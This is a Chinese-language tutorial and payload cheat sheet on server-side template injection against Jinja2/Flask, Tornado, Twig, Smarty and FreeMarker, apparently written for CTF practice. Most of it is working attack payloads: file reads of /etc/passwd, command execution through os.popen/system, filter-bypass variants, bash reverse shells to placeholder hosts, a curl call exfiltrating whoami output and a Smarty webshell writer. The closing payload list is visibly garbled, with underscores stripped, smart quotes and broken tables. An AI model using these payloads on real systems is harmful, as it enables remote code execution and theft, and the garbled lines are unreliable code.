0x00前言
这篇SSTI模板注入已经拖到现在了,该总结一下了。
0x01 什么是模板注入
ssti,服务器端模板注入,主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数的时候,由于代码不规范或者信任了用户的输入,使得模板可控。简单来说就是,模板里面有些用户输入的东西,但是程序员在渲染模板的时候,没有检查用户输入的内容是不是都是善意的,于是就被用户恶意使用这个模板做坏事了。
0x02 基础知识
0x00 python里的内建函数
启动python解释器时,即使没有创建任何变量或函数,还是有很多函数可供使用,这就是python的内建函数 。
注意:``内建函数非常强大,可以调用一切函数
0x01 名称空间
python的名称空间,是从名称到对象的映射,在python程序执行的过程中,至少会存在两个名称空间。
1、内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字
2、全局名称空间:在执行文件时,存放文件级别定义的名字
3、局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数自定义的名字,该名字在函数调用时生效,调用结束后失效
加载顺序:
内置名称空间—->全局名称空间—->局部名称空间
名字查找顺序:
局部名称空间—->全局名称空间—->内置名称空间
在python中,初始的builtins模块提供内建名称空间到内建对象的映射
在没有提供对象的时候,将会提供当前环境导入的所有模块,不管是哪个版本,可以看到builtins是作为默认初始模块出现的,使用dir()命令查看一下builtins
里面有很多的关键字,比如我们直接打印
因为关键字里直接print,所以可以直接使用。
0x03 类继承
python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。
常见的三种类继承方法:
1.__base__:以字符串返回一个类所直接继承的第一个类,一般情况是object
2.__mro_:获取对象的基类,只是这时会显示整个继承链的关系,是一个列表,object在最底层所以在列表的最后,通过__mro__[-1]可以获取到
3.__subclasses__():继承此对象的子类,返回一个列表
4.__init__:所有自带类都会包含init方法
_globals__
function.__globals__,用于获取function所处空间下可使用的module,方法级所有变量
SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,这便是攻击方式:
变量-->对象-->基类-->子类遍历-->全局变量
注入思路:
随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class 'object'>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell
逐渐找出我们想要的模块或者函数,然后构造payload
找可用类的通用脚本:
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
0x04 常见的payload分析
#python2
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
先来了解一些内建属性的作用:
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__globals__ 以字典类型返回当前位置的全部全局变量
拆开看一下
1,’’. class 返回字符串类型
2,加上mro返回继承链
加上不同的下标,返回的数据不同。
3,再添加上subclasses()返回的是subject的所有子类
找到我们需要的子类,比如找到site._Printer
4,接下来添加上init用传入的参数来初始化实列,使用globals以字典返回内建模块
5,调用成功,构造自己的命令
python3需要更换自己的payload
python3的72返回的不是site._Printer,而是ContextVar类。
''.__class__.__mro__[-1].__subclasses__()[72] //返回ContextVar类
一个一个找太麻烦
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)
直接打印出所有的类名
对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个
pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。
我们要使用字典中的键值的话,也可以用list.pop(“var”),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现get和setdefault是个不错的选择
dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法getattribute
即
"".__class__
"".__getattribute__("__class__")
如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
0x05 web框架及模板引擎
web框架
flask
Tornado
Django
常见框架的配置文件
Tornado**:handler.settings
这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一
handler.settings-> RequestHandler.application.settings
可以获取当前application.settings,从中获取到敏感信息
[护网杯 2018]easy_tornado便考察了这个点
flaks:内置函数**
config 是Flask模版中的一个全局对象,代表“当前配置对象(flask.config)”,是一个类字典的对象,包含了所有应用程序的配置值。在大多数情况下,包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。
url_for()
— 用于反向解析,生成urlget_flashed_messages()
— 用于获取flash消息{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
如果过滤了{{config}}
且框架是flask
的话便可以使用如下payload进行代替
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}
0x06:python常用的命令执行方式
1.os.system()
该方法的参数就是string类型的命令,在linux上,返回值为执行命令的exit值;而windows上,返回值则是运行命令后,shell的返回值。
注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
2.os.popen()
返回的是file read的对象,如果想获取执行命令的输出,则需要调用该对象的read()方法
0x07 常用模块的脚本
python2
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
python3
原理相同,但是python3环境变化了,例如python2下有file而python3没有,所以直接用open。
python3的利用主要索引在于builtins,找到了它便可以利用其中的eval,open等等来执行操作
#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
常见payload
python2
#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
python3
#python3没有file,用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
Bypass姿势
拼接绕过
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
编码绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(
#等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
过滤中括号[]
#使用getitem()\pop()
__mro__[2]== __mro__.__getitem__(2)
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
过滤{{或}}
使用{%
进行绕过
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
过滤_ 和引号
可以用|attr
{{()|attr(request.values.a)}}&a=class
使用request
对象绕过,假设过滤了__class__
,可以使用下面的形式进行替代
#1
{{''[request.args.t1]}}&t1=__class__
#若request.args改为request.values则利用post的方式进行传参
#2
{{''[request['args']['t1']]}}&t1=__class__
#若使用POST,args换成form即可
过滤.
可以使用attr()
或[]
绕过
#attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
#[]
{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
reload
如果reload
可以用则可以重载,从而恢复内建函数
reload(__builtins__)
PHP实例分析
示例PHP代码1:
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
这段代码明显没有什么问题,用户的输入到时候渲染的时候就是 name 的值,由于name 外面已经有
{{}}
了,也就是说,到时候显示的只是name 变量的值,就算你输入了
{{xxx}}
输出也只是
{{xxx}}
而不会将xxx 作为模板变量解析
但是有些代码就是不这么写,比如下面这段代码
示例PHP代码2:
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;
你看,现在开发者将用户的输入直接放在要渲染的字符串中了
**注意:不要把这里的
{}
当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量而已**,于是我们输入
{{xxx}}
就非常的符合模板的规则,模板引擎一高兴就给解析了,然后服务器就凉了。
这里演示的是PHP 的代码,使用的是 Twig 模板引擎,下面我们看一下 python 的 jinja2
**
2.Python 实例
实例一:
示例Python代码1:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
这是一段经典的 flask 源码,@app.errorhandler(404) 这一部分是装饰器,用于检测404用的,和最后的 ,404呼应的,这与我们这次的测试无关
我们看到,这里本身开发者并没有打算用到什么模板语法,就是使用了一个字符串的格式化来传递一个 url ,但是你别忘了你还是用模板的方式去渲染的啊,也就是说还是支持模板引擎支持的语法,那我们为什么不能输入模板引擎的语法呢?(永远不要相信用户的输入)
于是我们就能在URL后面跟上
{{ 7*7 }}
实例二:
示例Python代码2:
# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
和上面一样,还是格式化字符串,读者可以自己思考并尝试
检测方法
先放波图
还有框架模板结构图
常用的ssti的payload
要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。
Smarty拿取webshell | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,”<?php passthru($_GET[‘cmd’]); ?>”,self::clearConfig())} | | :—- |
2.Twig 命令执行
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}} |
---|
3.freeMarker
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“id”) } |
---|
4.python
{% for c in [].class.base.subclasses() %}{% if c.name==’IterationGuard’ %}{{ c.init.globals[‘builtins‘][‘eval’](“_import(‘os’).popen(‘whoami’).read()”) }}{% endif %}{% endfor %} |
---|
| {% for c in [].class.base.subclasses() %}{% if c.name == ‘catchwarnings’ %} {% for b in c.init.globals.values() %} {% if b.class == {}.class %} {% if ‘eval’ in b.keys() %} {{ b[‘eval’](‘_import(“os”).popen(“dir”).read()’) }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %} | | :—- |
5.Jinjia2模板引擎通用的RCE Payload:
{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].eval(“_import(‘os’).popen(‘ |
---|
6.python2
# 读{{ ‘’.class.mro[2].subclasses()40.read() }}# 写{{ ‘’.class.mro[2].subclasses()40.write(‘test’) }}####执行命令’’.class.mro[2].subclasses()[59].init.globals.builtins下有eval,import等的全局函数,可以利用此来执行命令:#eval’’.class.mro[2].subclasses()[59].init.globals[‘builtins‘]‘eval’.popen(‘id’).read()”)’’.class.mro[2].subclasses()[59].init.globals.builtins.eval(“import(‘os’).popen(‘id’).read()”)#import‘’.class.mro[2].subclasses()[59].init.globals.builtins.import(‘os’).popen(‘id’).read()’’.class.mro[2].subclasses()[59].init.globals[‘builtins‘]‘import‘.popen(‘id’).read() |
---|
7.python3
#命令执行:{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].eval(“import(‘os’).popen(‘id’).read()”) }}{% endif %}{% endfor %}#文件操作{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].open(‘filename’, ‘r’).read() }}{% endif %}{% endfor %}####在本地python中测试().class.bases[0].subclasses()[-4].init.globals‘system’().class.bases[0].subclasses()[93].init.globals[“sys”].modules[“os”].system(“ls”)’’.class.mro[1].subclasses()[104].init.globals[“sys”].modules[“os”].system(“ls”)[].class.base.subclasses()[127].init.__globals‘system’ |
---|
8.添加一个flask的命令执行payload:就是拆分关键词进行绕过
{% for c in [].class.base.subclasses() %}{% if c.name == ‘catchwarnings’ %} {% for b in c.init.globals.values() %} {% if b.class == {}.class %} {% if ‘eva’+’l’ in b.keys() %} {{ b[‘eva’+’l’](‘_impor’+’t‘+’(“o’+’s”)’+’.pope’+’n’+’(“ls /“).read()’) }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %} |
---|